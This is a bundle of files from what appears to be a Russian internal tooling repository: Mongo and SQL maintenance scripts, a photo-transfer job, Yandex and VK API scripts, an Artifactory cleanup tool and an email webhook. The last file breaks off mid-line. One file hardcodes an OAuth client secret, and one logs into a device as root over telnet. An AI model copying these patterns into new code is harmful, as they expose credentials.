<file_sep>db.Event.aggregate( [ { $match: { "_header._created": { $lte: new Date(), $gt: new Date(new Date()-7 * 60 * 60 * 24 * 1000) } } }, { $lookup: { from: "Class", localField: "ClassId", foreignField: "_id", as: "embeddedData" } }, { $unwind: "$embeddedData" }, { $project : { Название_Класса: "$embeddedData.ClassName", Название_События:"$Name", Место: { $ifNull: [ "$Place", "-" ] }, Дата_создания: "$_header._created", Создано_на_основе_идеи: { $cond : [{$not :"$SourceIdeaUrl"},"Нет", "Да"] }, Идея: "$SourceIdeaUrl", _id: 0, // Описание:"$Description", Город: "$embeddedData.City.FORMALNAME", Количество_участников: { $size : "$Participants" } } }, {$match: { "Город": {$ne :"Москва"} } } //{ // $match: { // "Город": "Москва" // } //} ])<file_sep>--cкрипт для копирования статусов и дат отправки фото из photo_send_error в photo with last_attempts as ( -- этот запрос возвращает только последние попытки отправки в serv, т.к. attempt=1 -- данные берутся из photo_send_error select * from ( SELECT photo_id, attempt_timestamp, -- error_code - статус отправки в serv, 0 - успех, в остальных случаях 2 - неудача case when error_code is null then 0 else 2 end as error_code, -- attempt - номер попытки отправки в serv ROW_NUMBER() OVER ( PARTITION BY photo_id ORDER BY attempt_timestamp DESC ) as attempt from photo_send_error ) as subquery where attempt = 1 ) -- взять данные из last_attempt и обновить ими таблицу photo update photo set dit_sending_status = last_attempts.error_code, dit_sent_timestamp = last_attempts.attempt_timestamp from last_attempts where last_attempts.photo_id = photo.id;<file_sep>#!/bin/sh LOGPATH=/opt/reporting/logs/contact/processing.log CONFPATH=/opt/reporting/contact_config.json DATE_TO=`date -d "-5 minutes" +"%Y-%m-%dT%H:%M"`:00 /usr/bin/docker run --rm -d --cpus="1" --memory=512m --network=host -e S_TO=${DATE_TO} -v "${CONFPATH}":/app/config.json -v "${LOGPATH}":/app/processing.log contact:2.1<file_sep>#### Описание Скрипт парсит raw-логи из директории /app/data (учитываются только файлы изменившиеся за последние сутки) и пытается отправить их post-запросом на endpoint. Лог записывается в /app/processing.log, все настройки берутся из переменных окружения. Настройки: * db - название БД для проверки, не отправлялся ли уже данный photo id * dbhost, dbport - сервер и порт СУБД * dbuser, dbpasswd - учетка к БД * endpoint, user, passwd - endpoint и учетка к нему #### Сборка ```shell script TAG=photoraw:0.2 docker build -t "${TAG}" . ``` #### Развертывание Доставить образ на сервер Выставить нужное значение переменных окружения в `photoraw.sh` Скопировать `photoraw.sh` в `/opt/reporting/` Настроить отправку по расписанию - в 3:05 каждый день Для этого выполнить команду `crontab -e`, добавить строку ```shell script PATH=/usr/local/bin:/usr/bin:/bin:/usr/games 5 3 * * * /opt/reporting/photoraw.sh ```<file_sep>use habinet; db.Event.aggregate( [{$lookup: {from: "Class", localField: "ClassId", foreignField: "_id", as: "embeddedData" } }, { $unwind: "$embeddedData" }, { $project : { Создан: "$_header._created", _id: 0, Название:"$Name", Описание:"$Description", Место:"$Place", Название_Класса: "$embeddedData.ClassName", Город: "$embeddedData.City.FORMALNAME", } }])<file_sep>#только приватный доступ import requests import munch #получить список доменов #i.ivanov headers = { 'PddToken': '<KEY>'} #x@<EMAIL> headers = { 'PddToken': '<KEY>' } url = 'https://pddimp.yandex.ru/api2/admin/domain/domains?' r=requests.get(url,headers=headers) obj = munch.munchify(r.json()) print(r.json()) #добавить ящик url = 'https://pddimp.yandex.ru/api2/admin/email/add' payload = {'domain': 'bellatrix.xyz', 'login': 'test2', 'password' : '<PASSWORD>'} headers = { 'PddToken': '<KEY>'} r=requests.post(url,data=payload,headers=headers) #домен bellatrix.xyz #заблокировать почтовый ящик headers = { 'PddToken': '<KEY>'} payload = {'domain': 'bellatrix.xyz', 'login': 'test2', 'enabled': 'no' } url = 'https://pddimp.yandex.ru/api2/admin/email/edit' r=requests.post(url,data=payload,headers=headers) #добавить зам. администратора домена url = 'https://pddimp.yandex.ru/api2/admin/deputy/list?domain=mrtkt74.ru' #получить список замов r = requests.get(url,headers=headers) #добавить зама url = 'https://pddimp.yandex.ru//api2/admin/deputy/add' payload = {'domain': 'mrtkt74.ru', 'login': 'i.ivanov'} headers = { 'PddToken': '<KEY>' } r=requests.post(url,data=payload,headers=headers) <file_sep>import os import requests # r = requests.get('https://api.vk.com/method/ads.getStatistics?v=5.92&account_id=1605052472&ids_type=ad&' # 'ids=50556193&' # 'access_token=<KEY>&' # 'period=day&date_from=0&date_to=2019-02-10') r = requests.get('https://api.vk.com/method/ads.getStatistics?v=5.92&account_id=1605052472&ids_type=ad&' 'ids=50556193&' 'access_token=<KEY>' 'period=day&date_from=0&date_to=0') for i in r.json()['response']: dir = os.getcwd() + '\\' + str(i['id']) filename = str(i['id']) + '.json' outfile = dir + '\\' + filename s = '' if (not os.path.isdir(dir)): os.mkdir(dir) for k in i['stats']: k['ad'] = str(i['id']) s = s + str(k) + '\n' f = open(outfile,'w') s = s.replace("'", '"') print(s) f.write(s) <file_sep>import json import os import requests, argparse import sys import base64 from datetime import datetime, timedelta import psycopg2 from psycopg2.extras import DictCursor from psycopg2 import Error import logging import traceback from hurry.filesize import size from urllib3.util.retry import Retry from requests.adapters import HTTPAdapter from pathlib import Path def SearchInFolders(data_folders: list, id: str): """ поиск фото с идентификатором id в списке папок data_folders :param data_folders: список папок :param id: id фотографии :return: если фото найдено, возвращается полный путь к нему, если нет - пустая строка """ res = "" for folder in data_folders: path = Path(folder) / id[0:2] / id[2:4] / id # make crossplatform path if path.is_file(): res = path break else: continue return res def UpdatePhotoDIT(cursor, dit_sending_status, photo_id): """ Запись результатов пересылки в таблицу photo :param cursor: курсор к СУБД :param dit_sending_status: результат пересылки :param photo_id: id фотографии :return: """ data_now = datetime.now() update_dit_status_query = "update photo " \ "set dit_sending_status=%s, dit_sent_timestamp=%s " \ "where id=%s;" try: cursor.execute(update_dit_status_query, (dit_sending_status, data_now, photo_id)) logger.debug("Update status in photo: " + str(cursor.rowcount) + " rows affected") except Exception as e3: logger.error(traceback.format_exc()) def LogBusinessError(cursor, photo_id): """ логирование бизнес-ошибки в БД """ logger.debug(photo_id + " business error") dit_sending_status = 1 UpdatePhotoDIT(cursor, dit_sending_status, photo_id) def LogSuccess(cursor, photo_id): logger.debug(photo_id + " success") dit_sending_status = 0 UpdatePhotoDIT(cursor, dit_sending_status, photo_id) def LogServiceUnreachable(cursor, photo_id): logger.debug(photo_id + " service unreachable error") dit_sending_status = 2 UpdatePhotoDIT(cursor, dit_sending_status, photo_id) def LogInPhotoSendError(cursor, photo_id, error_code, error_message, stack_trace): dest_code = 1 # DIT try: data_now = datetime.now() # только в случае ошибок отправки # логируем в таблицу photo_send_error результат post'а logger.debug("Insert into photo_send_error") photo_event_query = "insert into " \ "photo_send_error(destination, photo_id, attempt_timestamp, error_code, error_message, stack_trace) " \ "values(%s, %s, %s, %s, %s, %s);" cursor.execute(photo_event_query, (dest_code, photo_id, data_now, error_code, error_message, stack_trace)) logger.debug(str(cursor.rowcount) + " rows affected") except Exception as e2: logger.error(traceback.format_exc()) #функция переноса изображений из БД PostgreSqL на удаленный сервер, принимающий post-запросы #данные для подключения к базе и url сервера считываются из config.json #границы временного интервала берутся из окружения: #s_to - верхняя граница #если dry_run=True - post запрос не выполняется # передаются следующие поля из таблицы photo: id data_id photo_type device_id upload_date photo(в base64) # из data берется event_occurred или upload_date -что первым будет не null def Transfer(db, user, passwd, host, port, remote_serv, s_data_folders, dry_run=True): obj = {} conn = None try: ssn = requests.Session() # пытаемся отослать данные серверу за 2 попытки retries = Retry(total=2, backoff_factor=1) ssn.mount(remote_serv, HTTPAdapter(max_retries=retries)) #s_from = os.environ["S_FROM"] s_to = os.environ["S_TO"] logger.debug("Connect to database") conn = psycopg2.connect(dbname=db, user=user, password=<PASSWORD>, host=host, port=port) conn.autocommit = True cursor = conn.cursor(cursor_factory=DictCursor) logcursor = conn.cursor(cursor_factory=DictCursor) logger.debug("Run PostgreSql query") logger.debug("Search data with upload_date up to " + s_to) cursor.execute("select p.id, data_id, photo_type, photo, p.device_id, to_char(p.upload_date, 'YYYY-MM-DD\"T\"HH24:MI:SS.MS') as upload_date," \ "to_char(least(coalesce(d.event_occurred, d.upload_date), d.upload_date), 'YYYY-MM-DD\"T\"HH24:MI:SS.MS') as event_occurred " \ "from photo p " \ "inner join data d on p.data_id = d.id " \ "where d.registry_sending_status = 0 and (p.dit_sending_status is null or p.dit_sending_status = 2) " "and d.enable_send_dit = True " "order by upload_date asc " "limit 100 ") l = '' data_folders = s_data_folders.split(",") photo64 = None for row in cursor: obj['id'] = row['id'] id = obj['id'] logger.debug("Encode " + id + " with base64") if row['photo'] is None: # если фото лежит на диске filepath = SearchInFolders(data_folders, id) if filepath: try: raw = open(filepath, 'rb') content = raw.read() photo64 = base64.encodebytes(content) except Exception: logger.error(traceback.format_exc()) LogBusinessError(logcursor, id) continue else: if raw: raw.close() else: logger.error(id + " can't find file in " + s_data_folders) LogBusinessError(logcursor, id) continue else: # если фото лежит в БД photo64 = base64.encodebytes(row['photo'].tobytes()) obj['data_id'] = row['data_id'] obj['photo_type'] = row['photo_type'] obj['device_id'] = row['device_id'] obj['upload_date'] = row['upload_date'] obj['photo'] = photo64.decode('ascii') l = size(len(obj['photo'])) obj['event_occurred'] = row['event_occurred'] if not dry_run: photo_id = obj['id'] logger.debug("POST " + photo_id) error_code = None stack_trace = None error_message = None response = None try: response = ssn.post(remote_serv, json=obj) response.raise_for_status() # в случае ошибки переходим в блок except LogSuccess(logcursor, photo_id) log_string = obj['id'] + ',' + str(response.status_code) + ',' + obj['upload_date'] + ',' + obj['event_occurred'] logger.debug(log_string) except Exception as e1: error_message = type(e1).__name__ stack_trace = traceback.format_exc() logger.error(stack_trace) # если сервис вернул код ошибки 4xx 5xx => записываем его в error_code, # если исключение возникло по другой причине (таймаут, сеть) # то записываем 1 if response is None: error_code = 1 else: error_code = response.status_code LogServiceUnreachable(logcursor, photo_id) LogInPhotoSendError(logcursor, photo_id, error_code, error_message, stack_trace) log_string = obj['id'] + ',' + str(error_code) + ',' + obj['upload_date'] + ',' + obj[ 'event_occurred'] logger.debug(log_string) else: logger.debug("dry_run - nothing to do") logger.debug(obj['id'] + ',not_applicable') except Exception as e: logger.error(traceback.format_exc()) sys.exit(1) finally: if conn: cursor.close() logcursor.close() conn.close() if __name__ == '__main__': logging.basicConfig(format='%(asctime)s %(message)s', datefmt='%Y-%m-%d %H:%M:%S', filename='processing.log') logger = logging.getLogger('PhotoTransfer') logger.setLevel(logging.DEBUG) # отключаем сообщения в общий лог о повторной посылке (retries) от urllib3 logging.getLogger('requests').setLevel(logging.CRITICAL) logging.getLogger('urllib3').setLevel(logging.CRITICAL) try: file = open("/app/config.json", 'r', encoding='utf-8') conf = json.load(file) except Exception as e: logger.error(traceback.format_exc()) sys.exit(2) else: file.close() Transfer(conf['dbname'], conf['user'], conf['password'], conf['host'], conf['port'], conf['remote_server'], conf['data_folders'], conf['dry_run']) <file_sep>import json import requests, argparse from datetime import datetime def clean_artifactory_repo(base_url, apikey, aql_text, dry_run=True, start_gc=False): headers = { 'content-type': 'text/plain', 'X-JFrog-Art-Api': apikey } only_key = { 'X-JFrog-Art-Api': apikey } js = json.dumps(aql_text) js = js.replace("\"$eq\": 0", "\"$eq\": null") # print(js) data = 'items.find(' + js + ').sort({"$desc" : ["created"]})' myResp = requests.post(base_url + 'api/search/aql', headers=headers, data=data) d = datetime.now() evaluated = json.loads(myResp.text) count = evaluated["range"]["total"] print("{} Found {} artifacts".format(d, count)) print("First 2 artifacts will be skipped") items = evaluated["results"] isDockerRepo = False if len(items) > 2: repo = items[0]['repo'] result = requests.get(base_url + 'api/repositories/' + repo, headers=only_key) isDockerRepo = json.loads(result.text)['packageType'] == 'docker' iter_items = iter(items) #skip 2 first artifacts next(iter_items) next(iter_items) for result in iter_items: if isDockerRepo: artifact_url = base_url + result['repo'] + '/' + result['path'] else: artifact_url = base_url + result['repo'] + '/' + result['path'] + '/' + result['name'] print(artifact_url) print(result) if not dry_run: requests.delete(artifact_url, headers=headers) if not dry_run: # empty thrash can res = requests.post(base_url + 'api/trash/empty', headers=headers) if start_gc: # run garbage collection res = requests.post(base_url + 'api/system/storage/gc', headers=headers) if __name__ == '__main__': d = datetime.now() try: file = open("config.json", 'r', encoding='utf-8') conf = json.load(file) except Exception as e: print(e) print("Can't read config file config.json") print("Exiting") sys.exit(1) finally: file.close() parser = argparse.ArgumentParser(description='artifactory-retention') group = parser.add_mutually_exclusive_group(required=False) group.add_argument("--dry-run", action="store_true") group.add_argument("--start-gc", action="store_true") args = parser.parse_args() clean_artifactory_repo(conf["baseurl"], conf["apikey"], conf["filter"], args.dry_run, args.start_gc)<file_sep>import pytest import yaml import json import logging from boddle import boddle from webhook import read_config, get_module_logger, get_messages, read_request_from_file, do_post import webhook # @pytest.fixture() # def context(): # return read_config() def test_read_config(): t = read_config('./tests/test_multiple_create_rules_config.yaml') assert t['loglevel'] == 50 def test_get_messages_multiple_create_rules(): webhook.config = read_config('./tests/test_multiple_create_rules_config.yaml') webhook.logger = get_module_logger("test_webhook", webhook.config['loglevel']) file = open('./tests/test_multiple_create_rules_result.yaml', 'r', encoding='utf-8') correct_res = yaml.safe_load(file) file.close() request = read_request_from_file('./tests/test_multiple_create_rules_request.json') test_res = get_messages(request) assert correct_res == test_res def test_get_messages_email_substitution(): webhook.config = read_config('./tests/test_email_substitution_config.yml') webhook.logger = get_module_logger("test_webhook", webhook.config['loglevel']) file = open('./tests/test_email_substitution_result.yml', 'r', encoding='utf-8') correct_res = yaml.safe_load(file) file.close() request = read_request_from_file('./tests/test_email_substitution_request.json') test_res = get_messages(request) assert correct_res == test_res def test_do_post_valid_request(): webhook.config = read_config('./tests/test_email_substitution_config.yml') webhook.logger = get_module_logger("test_webhook", webhook.config['loglevel']) file = open('./tests/test_email_substitution_result.yml', 'r', encoding='utf-8') result = yaml.safe_load(file) file.close() request = read_request_from_file('./tests/test_email_substitution_request.json') with boddle(json=request): assert do_post().body == json.dumps(result, ensure_ascii=False) def test_do_post_invalid_request(): webhook.config = read_config('./tests/test_email_substitution_config.yml') # set log level to CRITICAL to skip logging exceptions webhook.logger = get_module_logger("test_webhook", logging.CRITICAL) with boddle(body='{"invalid_json": true, }'): assert do_post().status_code == 400 def test_do_post_ncr_encoding(): """ Тест декодирования символов типа &#931; в юникод. Такие символы встречаются в author.name и description пример в test_ncr_encoding.json """ webhook.config = read_config('./tests/test_email_substitution_config.yml') webhook.logger = get_module_logger("test_webhook", webhook.config['loglevel']) file = open('./tests/test_ncr_encoding_result.yml', 'r', encoding='utf-8') result = yaml.safe_load(file) file.close() request = read_request_from_file('./tests/test_ncr_encoding.json') with boddle(json=request): assert do_post().body == json.dumps(result, ensure_ascii=False) <file_sep>import requests import pymongo from pymongo import MongoClient s = requests.Session() url = 'http://localhost:9900/Auth/SignInInternal' payload = {'UserName': 'x', 'Password': '<PASSWORD>'} res = s.post(url, json=payload) client = MongoClient('localhost', 27017) db = client['reformagkh'] houses = db['GetHouseProfile988Response'] pjreo_houses = houses.find({"inn": "7448078549", "_header._deleted": {"$exists": False}}) for item in pjreo_houses: id1 = item['_id'] url = 'http://localhost:9900/CustomService/ReportManager/GetReportHouse/?FormName=Form21PrintView&DocumentId=' url += id1 a = s.get(url) filepath = "F:/out/21_" filepath += item['full_address']['street_formal_name'] + '_' filepath += item['full_address']['house_number'] + '.pdf' f = open(filepath, 'wb') f.write(a.content) f.close() url = 'http://localhost:9900/CustomService/ReportManager/GetReportHouse/?FormName=Form23PrintView&DocumentId=' url += id1 a = s.get(url) filepath = "F:/out/23_" filepath += item['full_address']['street_formal_name'] + '_' filepath += item['full_address']['house_number'] + '.pdf' f = open(filepath, 'wb') f.write(a.content) f.close() url = 'http://localhost:9900/CustomService/ReportManager/GetReportHouse/?FormName=Form28PrintView&DocumentId=' url += id1 a = s.get(url) filepath = "F:/out/28_" filepath += item['full_address']['street_formal_name'] + '_' filepath += item['full_address']['house_number'] + '.pdf' f = open(filepath, 'wb') f.write(a.content) f.close() <file_sep>статуса платежных документов за июль с 2 на 1 для адресов 40-летия Победы // 0 не отправлен // 1 отправлен // 2 ошибка отправки // 3 ожидает отправки // 5 отозван db.PaymentDocument.update( { "PublicationStatus": NumberInt(2), "AddressInfo.HouseDisplayAddress": /.*40-летия Победы.*/i, "MainInfo.Date.FilterValue": NumberInt(201707) }, { $set: { "PublicationStatus": NumberInt(1), } }, { upsert: false, multi: true } ) <file_sep>FROM python:3.7-alpine ENV PYTHONUNBUFFERED 1 COPY ./requirements.txt /requirements.txt RUN pip install -r /requirements.txt RUN mkdir /app WORKDIR /app COPY webhook.py /app RUN adduser -D user USER user EXPOSE 9998 CMD ["python", "webhook.py", "9998"]<file_sep>use reformagkh; var MyCursor = db.GetHouseProfile988Response.find({ "full_address.street_formal_name": "Кыштымская" }).snapshot(); print(MyCursor.count()); while (MyCursor.hasNext()) { house = MyCursor.next(); var services = []; s = house.HouseDisplayAddress + ";"; house.house_profile_data.communal_services.forEach(function(service) { //print(service.type) i = Number(service.type) //print(i) //print(service.filling_fact) services[i] = service.filling_fact }) for (var i = 1; i <= 6; i++) { //filling_fact = 2 не предоставляется нет 0 //filling_fact = 1 предоставляется да 1 if (services[i] == 1) { s = s + "1;" } else if (services[i] == 2) { s = s + "0;" } } print(s) }<file_sep>from bottle import route, run, request import http.client import urllib.parse import json # Идентификатор приложения client_id = 'c461b2f65' # Пароль приложения client_secret = '2429004addac66eea2a' import os import csv import sys import requests TOKEN = os.environ.get('TOKEN') USER_AGENT = 'Directory Sync Example' @route('/') def index(): # Если скрипт был вызван с указанием параметра "code" в URL, # то выполняется запрос на получение токена if request.query.get('code'): # Формирование параметров (тела) POST-запроса с указанием кода подтверждения query = { 'grant_type': 'authorization_code', 'code': request.query.get('code'), 'client_id': client_id, 'client_secret': client_secret, } query = urllib.parse.urlencode(query) # Формирование заголовков POST-запроса header = { 'Content-Type': 'application/x-www-form-urlencoded' } # Выполнение POST-запроса и вывод результата connection = http.client.HTTPSConnection('oauth.yandex.ru') connection.request('POST', '/token', query, header) response = connection.getresponse() result = response.read() connection.close() # Токен необходимо сохранить для использования в запросах к API Директа return json.loads(result)['access_token'] def get_organizations(): """Забирает из Директории данные об уже существующих отделах и возвращает словарь {'Название отдела': department_id} """ params = { 'fields': 'name', } headers = { 'Authorization': 'OAuth ' + TOKEN, 'User-Agent': USER_AGENT, 'Accept': 'application/json' } # В целях простоты примера мы игнорируем тот факт, что # отделов может быть больше 20 и они не поместятся в # один запрос. В реальном коде тут надо будет анализировать # ключ links и делать дополнительные запросы. response = requests.get( 'https://api.directory.yandex.net/v6/organizations/', params=params, headers=headers, timeout=10, ) response.raise_for_status() response_data = response.json() results = response_data['result'] results = { organization['name']: organization['id'] for organization in results } return results def get_groups(org_id): params = { 'fields': 'email,name,label,type,created', } headers = { 'Authorization': 'OAuth ' + TOKEN, 'User-Agent': USER_AGENT, #'X-Org-ID': org_id, 'X-Org-ID': '11', 'Accept': 'application/json' } response = requests.get( 'https://api.directory.yandex.net/v6/groups/', params=params, headers=headers, timeout=10, ) response.raise_for_status() response_data = response.json() results = response_data['result'] res = {} for group in results: if group['email']: res[group['email']] = group['id'] else: res[group['name']] = group['id'] # results = { # group['email']: group['id'] if x is not None else '' for group in results # } return res def get_departments(org_id): """Забирает из Директории данные об уже существующих отделах и возвращает словарь {'Название отдела': department_id} """ params = { 'fields': 'name', } headers = { 'Authorization': 'OAuth ' + TOKEN, 'User-Agent': USER_AGENT, 'X-Org-ID': org_id } # В целях простоты примера мы игнорируем тот факт, что # отделов может быть больше 20 и они не поместятся в # один запрос. В реальном коде тут надо будет анализировать # ключ links и делать дополнительные запросы. response = requests.get( 'https://api.directory.yandex.net/v6/departments/', params=params, headers=headers, timeout=10, ) response.raise_for_status() response_data = response.json() results = response_data['result'] results = { department['name']: department['id'] for department in results } return results def get_enabled_users_from_group(org_id, grp_id): params = { 'fields': 'email,is_enabled', 'group_id': grp_id, #'group_id': 11, 'per_page': '1000', } headers = { 'Authorization': 'OAuth ' + TOKEN, 'User-Agent': USER_AGENT, 'X-Org-ID': org_id } # В целях простоты примера мы игнорируем тот факт, что # сотрудников может быть больше 20 и они не поместятся в # один запрос. В реальном коде тут надо будет анализировать # ключ links и делать дополнительные запросы. response = requests.get( 'https://api.directory.yandex.net/v6/users/', params=params, headers=headers, timeout=10, ) response.raise_for_status() response_data = response.json() results = response_data['result'] return {user['email'] for user in results if user['is_enabled']} def get_enabled_users_from_dep(org_id, dep_id): """Забирает из Директории данные об уже существующих сотрудниках. и возвращает set из из логинов. """ params = { 'fields': 'email,is_enabled', 'department_id': dep_id, 'per_page': '1000' # , # 'is_enabled': False # , # 'id' : '22' } headers = { 'Authorization': 'OAuth ' + TOKEN, 'User-Agent': USER_AGENT, 'X-Org-ID': org_id # 'X-Org-ID': '11' } # В целях простоты примера мы игнорируем тот факт, что # сотрудников может быть больше 20 и они не поместятся в # один запрос. В реальном коде тут надо будет анализировать # ключ links и делать дополнительные запросы. response = requests.get( 'https://api.directory.yandex.net/v6/users/', params=params, headers=headers, timeout=10, ) response.raise_for_status() response_data = response.json() results = response_data['result'] return {user['email'] for user in results if user['is_enabled']} def main(): org = get_organizations() #org = { "x.com" : "11" } for org_name, org_id in org.items(): print("-" * 30) print("Организация: " + org_name) print("Отделы:") dep = get_departments(str(org_id)) for dep_name, dep_id in dep.items(): usr = get_enabled_users_from_dep(str(org_id), str(dep_id)) if usr: print("\t" + dep_name + ":") for user in usr: print("\t\t" + user) print("Команды(рассылки):") grp = get_groups(str(org_id)) for grp_name, grp_id in grp.items(): usr = get_enabled_users_from_group(str(org_id), str(grp_id)) if usr: print("\t" + grp_name + ":") for user in usr: print("\t\t" + user) main() # Запускаем веб-сервер # run(host='0.0.0.0', port=8199, quiet=False) <file_sep>import os from os import listdir from os.path import isfile, join import json import logging, traceback import sys import base64 # import dateutil.parser import psycopg2 from psycopg2.extras import DictCursor from pathlib import Path import requests from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry from requests.auth import HTTPBasicAuth import datetime def RawFilesModifiedInLastDay(): """ Функция возвращает список файлов В список добавляются только файлы, которые - лежат в <директория_скрипта>/data - имя файла начинается с raw_photo_div-reestr-mobile-backend, заканчивается на raw_log - время изменения файла отстоит от текущего момента времени не более чем на 24ч. """ rtn = [] dir = Path(os.path.dirname(os.path.realpath(__file__))) / "data" # make crossplatform path onlyfiles = [f for f in listdir(dir) if isfile(join(dir, f))] for f in onlyfiles: if f.startswith("raw_photo_div-reestr-mobile-backend") and f.endswith("raw_log"): path = dir / f filetimestamp = os.path.getmtime(path) cnv_time = datetime.datetime.fromtimestamp(filetimestamp) cur_time = datetime.datetime.now() hours = (cur_time - cnv_time).total_seconds() / 3600 # обрабатываем только файлы измененные за последние 24 часа if hours < 24: rtn.append(path) return rtn def ParseLine(line: str): """ Парсит строку """ str_date = line[:29] str_message = line[30:] unescaped = str_message.encode('utf-8').decode('unicode_escape')[1:-2] s = json.loads(unescaped) error = s["errorMessage"] value = json.loads(s["value"]) obj = {} obj["id"] = value["id"] obj["contactId"] = value["contactId"] obj["deviceId"] = value["deviceId"].split('|')[0] # исходная строка в виде 'device_id|version' obj["base64"] = value["base64"] obj["photoType"] = value["photoType"] obj["uploadDate"] = str_date return obj def ExistsInDB(cursor, obj:dict): """ Проверяет наличие записи с заданным id и photo_type в БД """ logger.info(obj["id"] + " check in DB with photo.type " + obj["photoType"]) photo_query = "select count(id) from photo " \ "where id=%s and photo_type=%s" cursor.execute(photo_query, (obj["id"], int(obj["photoType"]))) return bool(cursor.fetchone()[0]) def IsEmptyPhoto(obj:dict): """ возвращает true если отсутствует фото (поле base64 - пустое) """ return not bool(obj["base64"]) def PostPhoto(user, passwd, endpoint, photoobj): """" Post-Запрос в endpoint """ ssn = requests.Session() # пытаемся отослать данные серверу за 2 попытки retries = Retry(total=2, backoff_factor=1) ssn.mount(endpoint, HTTPAdapter(max_retries=retries)) try: # постим данные используя сессию и повторы logger.info(photoobj["id"] + " trying to post") response = ssn.post(endpoint, json=photoobj, auth=HTTPBasicAuth(user, passwd)) # если статус ответа 4xx 5xx, возбуждаем исключение типа HTTPError, которое далее перехватываем response.raise_for_status() # cursor.execute(photo_query, (id, data_id, photo_type, photo, device_id, upload_date)) logger.info(photoobj["id"] + " success") except: logger.error(traceback.format_exc()) def ProcessFiles(user, passwd, endpoint, cursor): """ Обработка файлов и публикация фото через API :param user: имя пользователя к API :param passwd: пароль к API :param endpoint: полный путь к /photo/ API :param cursor: курсор к БД для проверки наличия фото в БД """ files = RawFilesModifiedInLastDay() for item in files: file = None try: file = open(item, 'r') logger.info("Parse " + file.name) contents = list(file) for line in contents: obj = ParseLine(line) if IsEmptyPhoto(obj): continue # если таких записей нет, используем API для добавления if not ExistsInDB(cursor, obj): PostPhoto(user, passwd, endpoint, obj) else: logger.info(obj["id"] + " already in DB") except Exception as e: logger.error(traceback.format_exc()) finally: if file: file.close() if __name__ == '__main__': logging.basicConfig(format='%(asctime)s %(message)s', datefmt='%Y-%m-%d %H:%M:%S', filename='processing.log') logger = logging.getLogger('photo_parse') logger.setLevel(logging.DEBUG) # отключаем сообщения в общий лог о повторной посылке (retries) от urllib3 logging.getLogger('requests').setLevel(logging.CRITICAL) logging.getLogger('urllib3').setLevel(logging.CRITICAL) conn = None try: # СУБД и учетные данные для подключения к ней db = os.environ["db"] dbhost = os.environ["dbhost"] dbport = os.environ["dbport"] dbuser = os.environ["dbuser"] dbpasswd = os.environ["dbpasswd"] # эндпоинт и учетные данные для подключения к нему endpoint = os.environ["endpoint"] user = os.environ["user"] passwd = os.environ["passwd"] conn = psycopg2.connect(dbname=db, user=dbuser, password=<PASSWORD>, host=dbhost, port=dbport) conn.autocommit = True cursor = conn.cursor(cursor_factory=DictCursor) ProcessFiles(user, passwd, endpoint, cursor) except Exception as e: logger.error(traceback.format_exc()) sys.exit(1) finally: if conn: cursor.close() conn.close() <file_sep>import re import binascii import telnetlib import argparse import time HOST = "192.168.222.251" USER = "root" PASSWORD = "<PASSWORD>" TIMEOUT = 10 telnet = telnetlib.Telnet(HOST) telnet.read_until(b"Login: ", 5) telnet.write((USER + "\n").encode('utf-8')) if PASSWORD: telnet.read_until(b"Password: ") telnet.write((PASSWORD + "\n").encode('utf-8')) telnet.write(b"enable\n") time.sleep(1) telnet.write(b"gsm 0 1 sms message list all\n") time.sleep(1) telnet.write(b"gsm 0 1 sms message list all\n") data = telnet.read_until(b"GS1002#", TIMEOUT) #data = telnet.read_until(b"GS1002#", TIMEOUT)[:-2] if not data: print("Timeout expired\n") exit(1) print(data) telnet.write(b"exit\n" * 2)<file_sep>import logging, time, sys, json, re import yaml import traceback import smtplib import html import bottle from bottle import get, post, request, response from email.header import Header from email.mime.text import MIMEText @get('/') def do_get(): logger.info("GET request,\nPath: %s\n", str(request.path)) @post('/') def do_post(): try: #request.json возвращает объект только если в заголовке указан content-type: application/json #нижеописанная конструкция вернет объект независимо от заголовка(хотя мб это и неправильно) s = request.body.read() data = json.loads(s) logger.info("POST request,\nPath: %s\nBody:\n%s\n", str(request.path), json.dumps(data, indent=2, ensure_ascii=False)) processed = get_messages(data) result = json.dumps(processed, ensure_ascii=False) logger.debug("Response:\n %s", json.dumps(processed, indent=2, ensure_ascii=False)) response.content_type = 'application/json' response.body = result response.status = 200 for item in processed: send_mail(config['smtp_subject'], config['smtp_from'], item['recipients'], item['message']) except Exception as e: response.status = 400 s = traceback.format_exc() logger.error(s) finally: return response def get_module_logger(mod_name, loglevel=logging.DEBUG): """ To use this, do logger = get_module_logger(__name__) """ logger = logging.getLogger(mod_name) handler = logging.StreamHandler() tz = time.strftime('%z') f = '|%(asctime)s' + tz + '|%(levelname)s|%(name)s|%(message)s' formatter = logging.Formatter(fmt=f) formatter.default_msec_format = '%s.%03d' handler.setFormatter(formatter) for h in logger.handlers: logger.removeHandler(h) logger.addHandler(handler) logger.setLevel(loglevel) return logger def filter_items(items, whitelist, blacklist): """ """ whitelist_regex = [] blacklist_regex = [] filtered_items = [] for raw_regex in whitelist: whitelist_regex.append(re.compile(raw_regex)) for raw_regex in blacklist: blacklist_regex.append(re.compile(raw_regex)) for item in items: if any(reg.search(item) for reg in whitelist_regex): if not any(reg.search(item) for reg in blacklist_regex): logger.debug("Item %s is in whitelist and not in blacklist" % item) filtered_items.append(item) return filtered_items def process_rule(items, rule): """ """ whitelist = rule['whitelist'] blacklist = rule['blacklist'] return filter_items(items, whitelist, blacklist) def process_request(request): """ """ result = [] rules = config.get('create_rules', []) for rule in rules: item = {} logger.debug('Process added files') files = request['modifications']['added'] item['recipients'] = rule['e-mail'] item['message_template'] = rule['message_template'] item['files'] = process_rule(files, rule) if item['files']: result.append(item) rules = config.get('update_rules', []) for rule in rules: item = {} logger.debug('Process modified files') files = request['modifications']['modified'] item['recipients'] = rule['e-mail'] item['message_template'] = rule['message_template'] item['files'] = process_rule(files, rule) if item['files']: result.append(item) rules = config.get('delete_rules', []) for rule in rules: item = {} logger.debug('Process removed files') files = request['modifications']['removed'] item['recipients'] = rule['e-mail'] item['message_template'] = rule['message_template'] item['files'] = process_rule(files, rule) if item['files']: result.append(item) return result def send_mail(subject: str, sender: str, recipients: list, message: str): """ """ if recipients : targets = ', '.join(recipients) logger.info('Send message to %s' % targets) logger.debug('Subject: %s' % subject) logger.debug('Sender: %s' % sender) logger.debug('Recipients: %s' % targets) logger.debug('Message: %s' % message) msg = MIMEText(message) msg['Subject'] = Header(subject, 'utf-8') msg['From'] = sender msg['To'] = targets server = smtplib.SMTP("%s:%d" % (config['smtp_server'], config['smtp_port'])) server.starttls() server.login(config['smtp_username'], config['smtp_password']) server.sendmail(config['smtp_username'], recipients, 